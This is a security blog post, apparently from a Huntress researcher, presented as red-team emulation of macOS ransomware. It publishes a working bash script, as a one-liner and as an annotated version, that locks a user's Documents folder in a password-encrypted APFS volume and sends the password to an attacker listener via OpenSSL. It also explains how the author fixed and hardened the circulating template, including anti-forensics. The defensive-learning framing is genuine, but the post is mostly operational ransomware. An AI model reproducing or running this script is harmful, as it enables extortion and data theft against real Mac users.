Creating macOS Ransomware.

05 Dec, 2022

Blurb
With the beta release of the Huntress macOS agent, I wanted to share some of the Apple-y stuff we’ve been up to behind the scenes. In this article, we’ll put our red team hats on and look at a macOS ransomware script and discuss how I improved its offensive efficiency.

"Macs don't get malware, stupid."

An interesting urban myth of information security is that Apple products don’t get malware.

Now, whilst this is nonsense, of course it’s important that we briefly look at what is really being said here.

The Windows operating system has dominated the game for some time now, and if you’re an adversary, you’d likely hone your craft on the bigger 'market’ where your tradecraft can have greater impact.

Windows malware gives adversaries more bang for their buck. It was never the case that Macs didn’t get malware; rather, only a few were writing malicious tools to attack this tiny slice of the OS pie.

As the OS market has started to become more multipolar, it has increasingly become more advantageous for adversaries to focus on Apple products. In 2022, a reality we must come to terms with is that Mac’s can be hacked, ransomed, and indeed get malware.

Finding macOS ransomware

We’re connoisseurs of the shady. We’ve always got an eye on the various Tweets, Discords, Slack, and Forums, so we can keep our fingers on the pulse of the latest and greatest offensive security. In one such instance, we found a macOS ransomware script circulating around.

On first inspection, we found that it did not work out of the box.

The encrypted drive did not have a password set.
Files failed to exfiltrate to our attacker-controlled address.

Figure 1: original script

Okay so, there were some flaws in this script. It was most likely a ransomware script template that was supposed to be built on by the offensive operator. Nonetheless, we were able to pinpoint the contingent parts of the script that were causing the failure.

diskX – An assumption was made in the script about the disk name/number for the ransomware to target. This was largely correct in its default on the template.
/exfil/* – This is a hard-coded directory that would likely not exist on a machine until it is created.
Curl – We don’t have a C2 server to send the credentials to – easily remedied.

Fixing macOS ransomware

Once we identified the gaps in the template, we then got to work making this ransomware operational.

It was easy to remedy the issues with the hard-coded directory, as we could simply move the files into a volume and directory that we created. To fix the data exfiltration issue, we had to provide an IP or domain that we controlled (in this case we stuck with localhost, but there's no reason you couldn’t insert a public IP or domain).

To reliably target the correct disk to maliciously encrypt, we deployed the diskutil command, and used command line text editors to specifically select the disk number that contained the Apple File System.

diskutil info / | grep ‘APFS Container:’ | awk {‘print $3’}

Figure 2: output

Once fixed, we are left with a one-liner bash script that creates its own encrypted drive on the target’s mac, copies critical files to this drive, and unmounts it. The script then uses OpenSSL to send the decryption password, leaving the target with a maliciously encrypted drive, stolen files, and the knowledge that they’ll have to pay $$$ to get it all back.

#! /usr/bin/env bash
sh -c 'p=$(head -n 1024 /dev/urandom | strings| grep -o "[[:alnum:]]" | head -n 64| tr -d "\n");disk_name=$(diskutil info / | grep "APFS Container:" | tr -s " "| cut -d" " -f4);diskutil apfs addVolume "${disk_name}" APFS XX -passphrase "${p}";mv -f ~/Documents/* /Volumes/XX;diskutil umount XX;echo $p | timeout 2 openssl s_client -quiet -connect 127.0.0.1:9001 2>/dev/null;p="";'
# change the IP address and Port number
# Use chmod +x <name>.sh to make the script executable
# With OpenSSL

Figure 3: bash script

As you can see, I had to make quite a few modifications to get this shell script to work. This includes adding the OpenSSL option.

We can skip using a C2 framework and use OpenSSL as a fantastic alternative. The credentials are sent to the attacker’s machine using OpenSSL. Not only is the data encrypted, but the connection also itself is secure. I also included p=”” within the script to ensure that the credentials cannot be recovered via memory dump, and to further frustrate DFIR efforts I modified the script to store a new random password in p 😅.

Breaking down the Final Script

#! /usr/bin/env bash

# Creating random and unique password
p=$(head -n 1024 /dev/urandom | strings| grep -o "[[:alnum:]]" | head -n 64| tr -d "\n");

# Identify Disk (Apple File System Volume)
disk_name=$(diskutil info / | grep "APFS Container:" | tr -s " "| cut -d" " -f4);

# Creating APFS Volume (aka drive) and encrypting it with password
diskutil apfs addVolume "${disk_name}" APFS XX -passphrase "${p}";

# Moving important files to the drive
mv -f ~/Documents/* /Volumes/XX;

# Unmounting drive
diskutil umount XX;

# echo'ing the password to the attacker using OpenSSL
echo $p | timeout 2 openssl s_client -quiet -connect 127.0.0.1:9001 2>/dev/null;

# Added this to ensure that the creentials cannot be recovered via memory dump
p="";

# change the IP address and Port number
# Use chmod +x name.sh to make the script executable
# name: <name>.sh

Let’s walk through the script:

First, we conjure a random 64-character password as the variable p, using the built in /dev/urandom, along with text editing command line tools.
Then, we identify the APFS container being used, and create an encrypted APFS Drive named XX on the victim’s machine.
We then move the important files & folders, unmount the encrypted drive and send the password back to the attacker’s machine using OpenSSL.

Enough yammering, it’s time to execute this bad boy!

Figure 5: Victim Machine and Attacker Machine, redacted credentials

We can see in Fig 5 the script has executed beautifully, and the credentials were sent to the attacker’s machine without ever touching the host. Ransoming macOS

At Huntress, we conform to the philosophy that we can’t defend networks without understanding our adversaries.

Ransoming macOS

At Huntress, we conform to the philosophy that we can’t defend networks without understanding our adversaries.

Emulating offensive security techniques allows us in the blue team to improve our own tradecraft and, in turn, get better at evicting threat actors who try to deploy ransomware for malicious purposes.

If you want to test this macOS ransomware discussed in this article, you can find it here along with other bits and pieces I gathered for this post.

If you’re interested in improving your defensive chops through proactively practising red team techniques, you may find November 2022’s Tradecraft Tuesday interesting, where we discuss in more detail what proactive security entails.

Twitter: @PonchoSec
GitHub / Gist: @PonchoSec / @PonchoSec

🔒 ponchos blog.